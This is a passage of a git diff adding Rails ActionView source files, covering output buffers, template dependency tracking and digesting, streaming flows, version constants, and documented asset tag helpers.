+  #           xml.guid(@person.firm.account.url + @recent_items.url(item))
+  #           xml.link(@person.firm.account.url + @recent_items.url(item))
+  #
+  #           xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+  #         end
+  #       end
+  #     end
+  #   end
+  #
+  # For more information on Builder please consult the {source
+  # code}[https://github.com/jimweirich/builder].
+  class Base
+    include Helpers, ::ERB::Util, Context
+
+    # Specify the proc used to decorate input tags that refer to attributes with errors.
+    cattr_accessor :field_error_proc, default: Proc.new { |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
+
+    # How to complete the streaming when an exception occurs.
+    # This is our best guess: first try to close the attribute, then the tag.
+    cattr_accessor :streaming_completion_on_exception, default: %("><script>window.location = "/500.html"</script></html>)
+
+    # Specify whether rendering within namespaced controllers should prefix
+    # the partial paths for ActiveModel objects with the namespace.
+    # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
+    cattr_accessor :prefix_partial_path_with_controller_namespace, default: true
+
+    # Specify default_formats that can be rendered.
+    cattr_accessor :default_formats
+
+    # Specify whether an error should be raised for missing translations
+    cattr_accessor :raise_on_missing_translations, default: false
+
+    # Specify whether submit_tag should automatically disable on click
+    cattr_accessor :automatically_disable_submit_tag, default: true
+
+    class_attribute :_routes
+    class_attribute :logger
+
+    class << self
+      delegate :erb_trim_mode=, to: "ActionView::Template::Handlers::ERB"
+
+      def cache_template_loading
+        ActionView::Resolver.caching?
+      end
+
+      def cache_template_loading=(value)
+        ActionView::Resolver.caching = value
+      end
+
+      def xss_safe? #:nodoc:
+        true
+      end
+    end
+
+    attr_accessor :view_renderer
+    attr_internal :config, :assigns
+
+    delegate :lookup_context, to: :view_renderer
+    delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, to: :lookup_context
+
+    def assign(new_assigns) # :nodoc:
+      @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
+    end
+
+    def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
+      @_config = ActiveSupport::InheritableOptions.new
+
+      if context.is_a?(ActionView::Renderer)
+        @view_renderer = context
+      else
+        lookup_context = context.is_a?(ActionView::LookupContext) ?
+          context : ActionView::LookupContext.new(context)
+        lookup_context.formats  = formats if formats
+        lookup_context.prefixes = controller._prefixes if controller
+        @view_renderer = ActionView::Renderer.new(lookup_context)
+      end
+
+      @cache_hit = {}
+      assign(assigns)
+      assign_controller(controller)
+      _prepare_context
+    end
+
+    ActiveSupport.run_load_hooks(:action_view, self)
+  end
+end
diff --git a/actionview/lib/action_view/buffers.rb b/actionview/lib/action_view/buffers.rb
new file mode 100644
index 0000000000..2a378fdc3c
--- /dev/null
+++ b/actionview/lib/action_view/buffers.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/output_safety"
+
+module ActionView
+  class OutputBuffer < ActiveSupport::SafeBuffer #:nodoc:
+    def initialize(*)
+      super
+      encode!
+    end
+
+    def <<(value)
+      return self if value.nil?
+      super(value.to_s)
+    end
+    alias :append= :<<
+
+    def safe_expr_append=(val)
+      return self if val.nil?
+      safe_concat val.to_s
+    end
+
+    alias :safe_append= :safe_concat
+  end
+
+  class StreamingBuffer #:nodoc:
+    def initialize(block)
+      @block = block
+    end
+
+    def <<(value)
+      value = value.to_s
+      value = ERB::Util.h(value) unless value.html_safe?
+      @block.call(value)
+    end
+    alias :concat  :<<
+    alias :append= :<<
+
+    def safe_concat(value)
+      @block.call(value.to_s)
+    end
+    alias :safe_append= :safe_concat
+
+    def html_safe?
+      true
+    end
+
+    def html_safe
+      self
+    end
+  end
+end
diff --git a/actionview/lib/action_view/context.rb b/actionview/lib/action_view/context.rb
new file mode 100644
index 0000000000..e1b02fbde4
--- /dev/null
+++ b/actionview/lib/action_view/context.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActionView
+  module CompiledTemplates #:nodoc:
+    # holds compiled template code
+  end
+
+  # = Action View Context
+  #
+  # Action View contexts are supplied to Action Controller to render a template.
+  # The default Action View context is ActionView::Base.
+  #
+  # In order to work with ActionController, a Context must just include this module.
+  # The initialization of the variables used by the context (@output_buffer, @view_flow,
+  # and @virtual_path) is responsibility of the object that includes this module
+  # (although you can call _prepare_context defined below).
+  module Context
+    include CompiledTemplates
+    attr_accessor :output_buffer, :view_flow
+
+    # Prepares the context by setting the appropriate instance variables.
+    # :api: plugin
+    def _prepare_context
+      @view_flow     = OutputFlow.new
+      @output_buffer = nil
+      @virtual_path  = nil
+    end
+
+    # Encapsulates the interaction with the view flow so it
+    # returns the correct buffer on +yield+. This is usually
+    # overwritten by helpers to add more behavior.
+    # :api: plugin
+    def _layout_for(name = nil)
+      name ||= :layout
+      view_flow.get(name).html_safe
+    end
+  end
+end
diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb
new file mode 100644
index 0000000000..02bd0545c2
--- /dev/null
+++ b/actionview/lib/action_view/dependency_tracker.rb
@@ -0,0 +1,175 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require_relative "path_set"
+
+module ActionView
+  class DependencyTracker # :nodoc:
+    @trackers = Concurrent::Map.new
+
+    def self.find_dependencies(name, template, view_paths = nil)
+      tracker = @trackers[template.handler]
+      return [] unless tracker
+
+      tracker.call(name, template, view_paths)
+    end
+
+    def self.register_tracker(extension, tracker)
+      handler = Template.handler_for_extension(extension)
+      if tracker.respond_to?(:supports_view_paths?)
+        @trackers[handler] = tracker
+      else
+        @trackers[handler] = lambda { |name, template, _|
+          tracker.call(name, template)
+        }
+      end
+    end
+
+    def self.remove_tracker(handler)
+      @trackers.delete(handler)
+    end
+
+    class ERBTracker # :nodoc:
+      EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+
+      # A valid ruby identifier - suitable for class, method and specially variable names
+      IDENTIFIER = /
+        [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
+        [[:word:]]*  # followed by optional letters, numbers or underscores
+      /x
+
+      # Any kind of variable name. e.g. @instance, @@class, $global or local.
+      # Possibly following a method call chain
+      VARIABLE_OR_METHOD_CHAIN = /
+        (?:\$|@{1,2})?            # optional global, instance or class variable indicator
+        (?:#{IDENTIFIER}\.)*      # followed by an optional chain of zero-argument method calls
+        (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
+      /x
+
+      # A simple string literal. e.g. "School's out!"
+      STRING = /
+        (?<quote>['"]) # an opening quote
+        (?<static>.*?) # with anything inside, captured as STATIC
+        \k<quote>      # and a matching closing quote
+      /x
+
+      # Part of any hash containing the :partial key
+      PARTIAL_HASH_KEY = /
+        (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
+      # Part of any hash containing the :layout key
+      LAYOUT_HASH_KEY = /
+        (?:\blayout:|:layout\s*=>)   # layout key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
+      # Matches:
+      #   partial: "comments/comment", collection: @all_comments => "comments/comment"
+      #   (object: @single_comment, partial: "comments/comment") => "comments/comment"
+      #
+      #   "comments/comments"
+      #   'comments/comments'
+      #   ('comments/comments')
+      #
+      #   (@topic)         => "topics/topic"
+      #    topics          => "topics/topic"
+      #   (message.topics) => "topics/topic"
+      RENDER_ARGUMENTS = /\A
+        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
+        (?:.*?#{PARTIAL_HASH_KEY}|#{LAYOUT_HASH_KEY})? # optional hash, up to the partial or layout key declaration
+        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
+      /xm
+
+      LAYOUT_DEPENDENCY = /\A
+        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
+        (?:.*?#{LAYOUT_HASH_KEY})                      # check if the line has layout key declaration
+        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
+      /xm
+
+      def self.supports_view_paths? # :nodoc:
+        true
+      end
+
+      def self.call(name, template, view_paths = nil)
+        new(name, template, view_paths).dependencies
+      end
+
+      def initialize(name, template, view_paths = nil)
+        @name, @template, @view_paths = name, template, view_paths
+      end
+
+      def dependencies
+        render_dependencies + explicit_dependencies
+      end
+
+      attr_reader :name, :template
+      private :name, :template
+
+      private
+        def source
+          template.source
+        end
+
+        def directory
+          name.split("/")[0..-2].join("/")
+        end
+
+        def render_dependencies
+          render_dependencies = []
+          render_calls = source.split(/\brender\b/).drop(1)
+
+          render_calls.each do |arguments|
+            add_dependencies(render_dependencies, arguments, LAYOUT_DEPENDENCY)
+            add_dependencies(render_dependencies, arguments, RENDER_ARGUMENTS)
+          end
+
+          render_dependencies.uniq
+        end
+
+        def add_dependencies(render_dependencies, arguments, pattern)
+          arguments.scan(pattern) do
+            add_dynamic_dependency(render_dependencies, Regexp.last_match[:dynamic])
+            add_static_dependency(render_dependencies, Regexp.last_match[:static])
+          end
+        end
+
+        def add_dynamic_dependency(dependencies, dependency)
+          if dependency
+            dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
+          end
+        end
+
+        def add_static_dependency(dependencies, dependency)
+          if dependency
+            if dependency.include?("/")
+              dependencies << dependency
+            else
+              dependencies << "#{directory}/#{dependency}"
+            end
+          end
+        end
+
+        def resolve_directories(wildcard_dependencies)
+          return [] unless @view_paths
+
+          wildcard_dependencies.flat_map { |query, templates|
+            @view_paths.find_all_with_query(query).map do |template|
+              "#{File.dirname(query)}/#{File.basename(template).split('.').first}"
+            end
+          }.sort
+        end
+
+        def explicit_dependencies
+          dependencies = source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+
+          wildcards, explicits = dependencies.partition { |dependency| dependency[-1] == "*" }
+
+          (explicits + resolve_directories(wildcards)).uniq
+        end
+    end
+
+    register_tracker :erb, ERBTracker
+  end
+end
diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb
new file mode 100644
index 0000000000..e404ebb6b6
--- /dev/null
+++ b/actionview/lib/action_view/digestor.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require_relative "dependency_tracker"
+require "monitor"
+
+module ActionView
+  class Digestor
+    @@digest_mutex = Mutex.new
+
+    module PerExecutionDigestCacheExpiry
+      def self.before(target)
+        ActionView::LookupContext::DetailsKey.clear
+      end
+    end
+
+    class << self
+      # Supported options:
+      #
+      # * <tt>name</tt>   - Template name
+      # * <tt>finder</tt>  - An instance of <tt>ActionView::LookupContext</tt>
+      # * <tt>dependencies</tt>  - An array of dependent views
+      def digest(name:, finder:, dependencies: [])
+        dependencies ||= []
+        cache_key = [ name, finder.rendered_format, dependencies ].flatten.compact.join(".")
+
+        # this is a correctly done double-checked locking idiom
+        # (Concurrent::Map's lookups have volatile semantics)
+        finder.digest_cache[cache_key] || @@digest_mutex.synchronize do
+          finder.digest_cache.fetch(cache_key) do # re-check under lock
+            partial = name.include?("/_")
+            root = tree(name, finder, partial)
+            dependencies.each do |injected_dep|
+              root.children << Injected.new(injected_dep, nil, nil)
+            end
+            finder.digest_cache[cache_key] = root.digest(finder)
+          end
+        end
+      end
+
+      def logger
+        ActionView::Base.logger || NullLogger
+      end
+
+      # Create a dependency tree for template named +name+.
+      def tree(name, finder, partial = false, seen = {})
+        logical_name = name.gsub(%r|/_|, "/")
+
+        options = {}
+        options[:formats] = [finder.rendered_format] if finder.rendered_format
+
+        if template = finder.disable_cache { finder.find_all(logical_name, [], partial, [], options).first }
+          finder.rendered_format ||= template.formats.first
+
+          if node = seen[template.identifier] # handle cycles in the tree
+            node
+          else
+            node = seen[template.identifier] = Node.create(name, logical_name, template, partial)
+
+            deps = DependencyTracker.find_dependencies(name, template, finder.view_paths)
+            deps.uniq { |n| n.gsub(%r|/_|, "/") }.each do |dep_file|
+              node.children << tree(dep_file, finder, true, seen)
+            end
+            node
+          end
+        else
+          unless name.include?("#") # Dynamic template partial names can never be tracked
+            logger.error "  Couldn't find template for digesting: #{name}"
+          end
+
+          seen[name] ||= Missing.new(name, logical_name, nil)
+        end
+      end
+    end
+
+    class Node
+      attr_reader :name, :logical_name, :template, :children
+
+      def self.create(name, logical_name, template, partial)
+        klass = partial ? Partial : Node
+        klass.new(name, logical_name, template, [])
+      end
+
+      def initialize(name, logical_name, template, children = [])
+        @name         = name
+        @logical_name = logical_name
+        @template     = template
+        @children     = children
+      end
+
+      def digest(finder, stack = [])
+        Digest::MD5.hexdigest("#{template.source}-#{dependency_digest(finder, stack)}")
+      end
+
+      def dependency_digest(finder, stack)
+        children.map do |node|
+          if stack.include?(node)
+            false
+          else
+            finder.digest_cache[node.name] ||= begin
+                                                 stack.push node
+                                                 node.digest(finder, stack).tap { stack.pop }
+                                               end
+          end
+        end.join("-")
+      end
+
+      def to_dep_map
+        children.any? ? { name => children.map(&:to_dep_map) } : name
+      end
+    end
+
+    class Partial < Node; end
+
+    class Missing < Node
+      def digest(finder, _ = []) "" end
+    end
+
+    class Injected < Node
+      def digest(finder, _ = []) name end
+    end
+
+    class NullLogger
+      def self.debug(_); end
+      def self.error(_); end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/flows.rb b/actionview/lib/action_view/flows.rb
new file mode 100644
index 0000000000..ff44fa6619
--- /dev/null
+++ b/actionview/lib/action_view/flows.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/output_safety"
+
+module ActionView
+  class OutputFlow #:nodoc:
+    attr_reader :content
+
+    def initialize
+      @content = Hash.new { |h, k| h[k] = ActiveSupport::SafeBuffer.new }
+    end
+
+    # Called by _layout_for to read stored values.
+    def get(key)
+      @content[key]
+    end
+
+    # Called by each renderer object to set the layout contents.
+    def set(key, value)
+      @content[key] = ActiveSupport::SafeBuffer.new(value)
+    end
+
+    # Called by content_for
+    def append(key, value)
+      @content[key] << value
+    end
+    alias_method :append!, :append
+  end
+
+  class StreamingFlow < OutputFlow #:nodoc:
+    def initialize(view, fiber)
+      @view    = view
+      @parent  = nil
+      @child   = view.output_buffer
+      @content = view.view_flow.content
+      @fiber   = fiber
+      @root    = Fiber.current.object_id
+    end
+
+    # Try to get stored content. If the content
+    # is not available and we're inside the layout fiber,
+    # then it will begin waiting for the given key and yield.
+    def get(key)
+      return super if @content.key?(key)
+
+      if inside_fiber?
+        view = @view
+
+        begin
+          @waiting_for = key
+          view.output_buffer, @parent = @child, view.output_buffer
+          Fiber.yield
+        ensure
+          @waiting_for = nil
+          view.output_buffer, @child = @parent, view.output_buffer
+        end
+      end
+
+      super
+    end
+
+    # Appends the contents for the given key. This is called
+    # by providing and resuming back to the fiber,
+    # if that's the key it's waiting for.
+    def append!(key, value)
+      super
+      @fiber.resume if @waiting_for == key
+    end
+
+    private
+
+      def inside_fiber?
+        Fiber.current.object_id != @root
+      end
+  end
+end
diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb
new file mode 100644
index 0000000000..ed92490be7
--- /dev/null
+++ b/actionview/lib/action_view/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionView
+  # Returns the version of the currently loaded Action View as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
new file mode 100644
index 0000000000..46f20c4277
--- /dev/null
+++ b/actionview/lib/action_view/helpers.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "active_support/benchmarkable"
+
+module ActionView #:nodoc:
+  module Helpers #:nodoc:
+    extend ActiveSupport::Autoload
+
+    autoload :ActiveModelHelper
+    autoload :AssetTagHelper
+    autoload :AssetUrlHelper
+    autoload :AtomFeedHelper
+    autoload :CacheHelper
+    autoload :CaptureHelper
+    autoload :ControllerHelper
+    autoload :CsrfHelper
+    autoload :DateHelper
+    autoload :DebugHelper
+    autoload :FormHelper
+    autoload :FormOptionsHelper
+    autoload :FormTagHelper
+    autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
+    autoload :NumberHelper
+    autoload :OutputSafetyHelper
+    autoload :RecordTagHelper
+    autoload :RenderingHelper
+    autoload :SanitizeHelper
+    autoload :TagHelper
+    autoload :TextHelper
+    autoload :TranslationHelper
+    autoload :UrlHelper
+    autoload :Tags
+
+    def self.eager_load!
+      super
+      Tags.eager_load!
+    end
+
+    extend ActiveSupport::Concern
+
+    include ActiveSupport::Benchmarkable
+    include ActiveModelHelper
+    include AssetTagHelper
+    include AssetUrlHelper
+    include AtomFeedHelper
+    include CacheHelper
+    include CaptureHelper
+    include ControllerHelper
+    include CsrfHelper
+    include DateHelper
+    include DebugHelper
+    include FormHelper
+    include FormOptionsHelper
+    include FormTagHelper
+    include JavaScriptHelper
+    include NumberHelper
+    include OutputSafetyHelper
+    include RecordTagHelper
+    include RenderingHelper
+    include SanitizeHelper
+    include TagHelper
+    include TextHelper
+    include TranslationHelper
+    include UrlHelper
+  end
+end
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
new file mode 100644
index 0000000000..46b514012c
--- /dev/null
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/enumerable"
+
+module ActionView
+  # = Active Model Helpers
+  module Helpers
+    module ActiveModelHelper
+    end
+
+    module ActiveModelInstanceTag
+      def object
+        @active_model_object ||= begin
+          object = super
+          object.respond_to?(:to_model) ? object.to_model : object
+        end
+      end
+
+      def content_tag(*)
+        error_wrapping(super)
+      end
+
+      def tag(type, options, *)
+        tag_generate_errors?(options) ? error_wrapping(super) : super
+      end
+
+      def error_wrapping(html_tag)
+        if object_has_errors?
+          Base.field_error_proc.call(html_tag, self)
+        else
+          html_tag
+        end
+      end
+
+      def error_message
+        object.errors[@method_name]
+      end
+
+      private
+
+        def object_has_errors?
+          object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
+        end
+
+        def tag_generate_errors?(options)
+          options["type"] != "hidden"
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
new file mode 100644
index 0000000000..66e31978c6
--- /dev/null
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -0,0 +1,383 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/hash/keys"
+require_relative "asset_url_helper"
+require_relative "tag_helper"
+
+module ActionView
+  # = Action View Asset Tag Helpers
+  module Helpers #:nodoc:
+    # This module provides methods for generating HTML that links views to assets such
+    # as images, JavaScripts, stylesheets, and feeds. These methods do not verify
+    # the assets exist before linking to them:
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
+    module AssetTagHelper
+      extend ActiveSupport::Concern
+
+      include AssetUrlHelper
+      include TagHelper
+
+      # Returns an HTML script tag for each of the +sources+ provided.
+      #
+      # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
+      # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
+      # root. Relative paths are idiomatic, use absolute paths only when needed.
+      #
+      # When passing paths, the ".js" extension is optional.  If you do not want ".js"
+      # appended to the path <tt>extname: false</tt> can be set on the options.
+      #
+      # You can modify the HTML attributes of the script tag by passing a hash as the
+      # last argument.
+      #
+      # When the Asset Pipeline is enabled, you can pass the name of your manifest as
+      # source, and include other JavaScript or CoffeeScript files inside the manifest.
+      #
+      # ==== Options
+      #
+      # When the last parameter is a hash you can add HTML attributes using that
+      # parameter. The following options are supported:
+      #
+      # * <tt>:extname</tt>  - Append an extension to the generated url unless the extension
+      #   already exists. This only applies for relative urls.
+      # * <tt>:protocol</tt>  - Sets the protocol of the generated url, this option only
+      #   applies when a relative url and +host+ options are provided.
+      # * <tt>:host</tt>  - When a relative url is provided the host is added to the
+      #   that path.
+      # * <tt>:skip_pipeline</tt>  - This option is used to bypass the asset pipeline
+      #   when it is set to true.
+      #
+      # ==== Examples
+      #
+      #   javascript_include_tag "xmlhr"
+      #   # => <script src="/assets/xmlhr.debug-1284139606.js"></script>
+      #
+      #   javascript_include_tag "xmlhr", host: "localhost", protocol: "https"
+      #   # => <script src="https://localhost/assets/xmlhr.debug-1284139606.js"></script>
+      #
+      #   javascript_include_tag "template.jst", extname: false
+      #   # => <script src="/assets/template.debug-1284139606.jst"></script>
+      #
+      #   javascript_include_tag "xmlhr.js"
+      #   # => <script src="/assets/xmlhr.debug-1284139606.js"></script>
+      #
+      #   javascript_include_tag "common.javascript", "/elsewhere/cools"
+      #   # => <script src="/assets/common.javascript.debug-1284139606.js"></script>
+      #   #    <script src="/elsewhere/cools.debug-1284139606.js"></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr"
+      #   # => <script src="http://www.example.com/xmlhr"></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr.js"
+      #   # => <script src="http://www.example.com/xmlhr.js"></script>
+      def javascript_include_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
+        sources.uniq.map { |source|
+          tag_options = {
+            "src" => path_to_javascript(source, path_options)
+          }.merge!(options)
+          content_tag("script".freeze, "", tag_options)
+        }.join("\n").html_safe
+      end
+
+      # Returns a stylesheet link tag for the sources specified as arguments. If
+      # you don't specify an extension, <tt>.css</tt> will be appended automatically.
+      # You can modify the link attributes by passing a hash as the last argument.
+      # For historical reasons, the 'media' attribute will always be present and defaults
+      # to "screen", so you must explicitly set it to "all" for the stylesheet(s) to
+      # apply to all media types.
+      #
+      #   stylesheet_link_tag "style"
+      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style.css"
+      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "http://www.example.com/style.css"
+      #   # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style", media: "all"
+      #   # => <link href="/assets/style.css" media="all" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style", media: "print"
+      #   # => <link href="/assets/style.css" media="print" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "random.styles", "/css/stylish"
+      #   # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
+      #   #    <link href="/css/stylish.css" media="screen" rel="stylesheet" />
+      def stylesheet_link_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        path_options = options.extract!("protocol", "host", "skip_pipeline").symbolize_keys
+        sources.uniq.map { |source|
+          tag_options = {
+            "rel" => "stylesheet",
+            "media" => "screen",
+            "href" => path_to_stylesheet(source, path_options)
+          }.merge!(options)
+          tag(:link, tag_options)
+        }.join("\n").html_safe
+      end
+
+      # Returns a link tag that browsers and feed readers can use to auto-detect
+      # an RSS, Atom, or JSON feed. The +type+ can be <tt>:rss</tt> (default),
+      # <tt>:atom</tt>, or <tt>:json</tt>. Control the link options in url_for format
+      # using the +url_options+. You can modify the LINK tag itself in +tag_options+.
+      #
+      # ==== Options
+      #
+      # * <tt>:rel</tt>  - Specify the relation of this link, defaults to "alternate"
+      # * <tt>:type</tt>  - Override the auto-generated mime type
+      # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
+      #
+      # ==== Examples
+      #
+      #   auto_discovery_link_tag
+      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+      #   auto_discovery_link_tag(:atom)
+      #   # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+      #   auto_discovery_link_tag(:json)
+      #   # => <link rel="alternate" type="application/json" title="JSON" href="http://www.currenthost.com/controller/action" />
+      #   auto_discovery_link_tag(:rss, {action: "feed"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+      #   auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+      #   auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+      #   auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed.rss" />
+      def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+        if !(type == :rss || type == :atom || type == :json) && tag_options[:type].blank?
+          raise ArgumentError.new("You should pass :type tag_option key explicitly, because you have passed #{type} type other than :rss, :atom, or :json.")
+        end
+
+        tag(
+          "link",
+          "rel"   => tag_options[:rel] || "alternate",
+          "type"  => tag_options[:type] || Template::Types[type].to_s,
+          "title" => tag_options[:title] || type.to_s.upcase,
+          "href"  => url_options.is_a?(Hash) ? url_for(url_options.merge(only_path: false)) : url_options
+        )
+      end
+
+      # Returns a link tag for a favicon managed by the asset pipeline.
+      #
+      # If a page has no link like the one generated by this helper, browsers
+      # ask for <tt>/favicon.ico</tt> automatically, and cache the file if the
+      # request succeeds. If the favicon changes it is hard to get it updated.
+      #
+      # To have better control applications may let the asset pipeline manage
+      # their favicon storing the file under <tt>app/assets/images</tt>, and
+      # using this helper to generate its corresponding link tag.
+      #
+      # The helper gets the name of the favicon file as first argument, which
+      # defaults to "favicon.ico", and also supports +:rel+ and +:type+ options
+      # to override their defaults, "shortcut icon" and "image/x-icon"
+      # respectively:
+      #
+      #   favicon_link_tag
+      #   # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+      #
+      #   favicon_link_tag 'myicon.ico'
+      #   # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/x-icon" />
+      #
+      # Mobile Safari looks for a different link tag, pointing to an image that
+      # will be used if you add the page to the home screen of an iOS device.
+      # The following call would generate such a tag:
+      #
+      #   favicon_link_tag 'mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+      #   # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
+      def favicon_link_tag(source = "favicon.ico", options = {})
+        tag("link", {
+          rel: "shortcut icon",
+          type: "image/x-icon",
+          href: path_to_image(source, skip_pipeline: options.delete(:skip_pipeline))
+        }.merge!(options.symbolize_keys))
+      end
+
+      # Returns an HTML image tag for the +source+. The +source+ can be a full
+      # path or a file.
+      #
+      # ==== Options
+      #
+      # You can add HTML attributes using the +options+. The +options+ supports
+      # additional keys for convenience and conformance:
+      #
+      # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
+      #   +source+ is used (capitalized and without the extension)
+      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      #   <tt>:size</tt> will be ignored if the value is not in the correct format.
+      # * <tt>:srcset</tt> - If supplied as a hash or array of <tt>[source, descriptor]</tt>
+      #   pairs, each image path will be expanded before the list is formatted as a string.
+      #
+      # ==== Examples
+      #
+      #   image_tag("icon")
+      #   # => <img alt="Icon" src="/assets/icon" />
+      #   image_tag("icon.png")
+      #   # => <img alt="Icon" src="/assets/icon.png" />
+      #   image_tag("icon.png", size: "16x10", alt: "Edit Entry")
+      #   # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+      #   image_tag("/icons/icon.gif", size: "16")
+      #   # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+      #   image_tag("/icons/icon.gif", height: '32', width: '32')
+      #   # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+      #   image_tag("/icons/icon.gif", class: "menu_icon")
+      #   # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+      #   image_tag("/icons/icon.gif", data: { title: 'Rails Application' })
+      #   # => <img data-title="Rails Application" src="/icons/icon.gif" />
+      #   image_tag("icon.png", srcset: { "icon_2x.png" => "2x", "icon_4x.png" => "4x" })
+      #   # => <img src="/assets/icon.png" srcset="/assets/icon_2x.png 2x, /assets/icon_4x.png 4x">
+      #   image_tag("pic.jpg", srcset: [["pic_1024.jpg", "1024w"], ["pic_1980.jpg", "1980w"]], sizes: "100vw")
+      #   # => <img src="/assets/pic.jpg" srcset="/assets/pic_1024.jpg 1024w, /assets/pic_1980.jpg 1980w" sizes="100vw">
+      def image_tag(source, options = {})
+        options = options.symbolize_keys
+        check_for_image_tag_errors(options)
+        skip_pipeline = options.delete(:skip_pipeline)
+
+        src = options[:src] = path_to_image(source, skip_pipeline: skip_pipeline)
+
+        unless src.start_with?("cid:") || src.start_with?("data:") || src.blank?
+          options[:alt] = options.fetch(:alt) { image_alt(src) }
+        end
+
+        if options[:srcset] && !options[:srcset].is_a?(String)
+          options[:srcset] = options[:srcset].map do |src_path, size|
+            src_path = path_to_image(src_path, skip_pipeline: skip_pipeline)
+            "#{src_path} #{size}"
+          end.join(", ")
+        end
+
+        options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+        tag("img", options)
+      end
+
+      # Returns a string suitable for an HTML image tag alt attribute.
+      # The +src+ argument is meant to be an image file path.
+      # The method removes the basename of the file path and the digest,
+      # if any. It also removes hyphens and underscores from file names and
